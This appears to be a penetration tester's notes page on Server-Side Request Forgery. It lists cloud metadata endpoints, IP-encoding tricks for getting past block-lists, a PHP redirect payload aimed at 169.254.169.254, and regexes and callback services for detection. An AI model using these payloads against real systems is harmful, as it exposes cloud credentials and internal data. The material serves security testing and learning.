Engin Demirbilek
  • Intro
  • [Pinned] Community
  • OSWE Review
  • Code Pieces
    • C++: Shellcode Launcher
    • C++: Dynamic DLL Usage
    • C++: Sendin HTTP GET Request
    • C++: Sandbox Detection via Registry
    • C++: Enumerating Environment
    • C++: Dll Injection
    • VBA: HTTP File Dropper
    • Environment Enumeration via Pshell & Cmd
  • Projects
    • Reverse Shell Exploit chain With AV Bypass
    • Execute Shellcode Launcher with Dll Injection
    • Bypassing AVs with simple XOR
    • Bypassing Defender with Exclusion List
  • Vulnerability Research
    • [TR] Centreon 19.10.8 Remote Code Execution
    • [TR] rConfig 3.94 Remote Code Execution
    • [TR] PANDORAFMS 7.0 REMOTE CODE EXECUTION x4
  • Pentest Notes
  • An Uncommon OSINT way to Juicy Files
  • GraphQL Testing Tips
  • Server Side Request Forgery (SSRF)
Powered by GitBook
On this page
  • Detecting Endpoints
  • Capturing Requests
  • Juicy Endpoints for Cloud
  • Common Bypass Techniques
  • Automating SSRF Discovery

Was this helpful?

Server Side Request Forgery (SSRF)

This page contains my tips and tricks for SSRF exploitation.

PreviousGraphQL Testing Tips

Last updated 1 year ago

Was this helpful?

Detecting Endpoints

To facilitate the automated identification of endpoints that may be vulnerable, I typically employ regular expressions (regex) in my approach.

(\?|\&)([^=]+)\=https?:\/\/([^&]+)

The regex above detects endpoint with URL parameters.

Capturing Requests

To effectively capture the requests initiated by Server-Side Request Forgery (SSRF), the following methods are my preferred choices:

  • BurpSuite Collabrator

Juicy Endpoints for Cloud


http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document


http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id


http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Common Bypass Techniques

Given that the majority of web applications employ various whitelist and/or blacklist protection mechanisms, it is often necessary to navigate through multiple security layers to achieve successful exploitation. The following methods are my preffered choices:

URL Rewrite

nip.io 

nip.io allows you to do that by mapping any IP Address to a hostname 
using the following formats:

10.0.0.1.nip.io maps to 10.0.0.1
192-168-1-250.nip.io maps to 192.168.1.250
0a000803.nip.io maps to 10.0.8.3

URL format bypasses

http://425.510.425.510 Dotted decimal with overflow
http://2852039166 Dotless decimal
http://7147006462 Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
http://0xA9FEA9FE Dotless hexadecimal
http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
http://0251.0376.0251.0376 Dotted octal
http://0251.00376.000251.0000376 Dotted octal with padding
http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
http://[::ffff:a9fe:a9fe] IPV6 Compressed
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
http://[fd00:ec2::254] IPV6

Secondary exploitation with a simple PHP web server.

exploit.php
<?php
header("Location: http://169.254.169.254/latest/meta-data/");
?>

Automating SSRF Discovery

Given that Burp Suite enables the utilization of regular expressions in its match and replace rules, devising an automated process for the detection of Server-Side Request Forgery (SSRF) becomes a relatively straightforward task.

https?:\/\/[\w\-\.]+(\.[a-z]{2,})+\/?

Regular expression for detecting URLS.

http://webhook.site/
https://app.interactsh.com/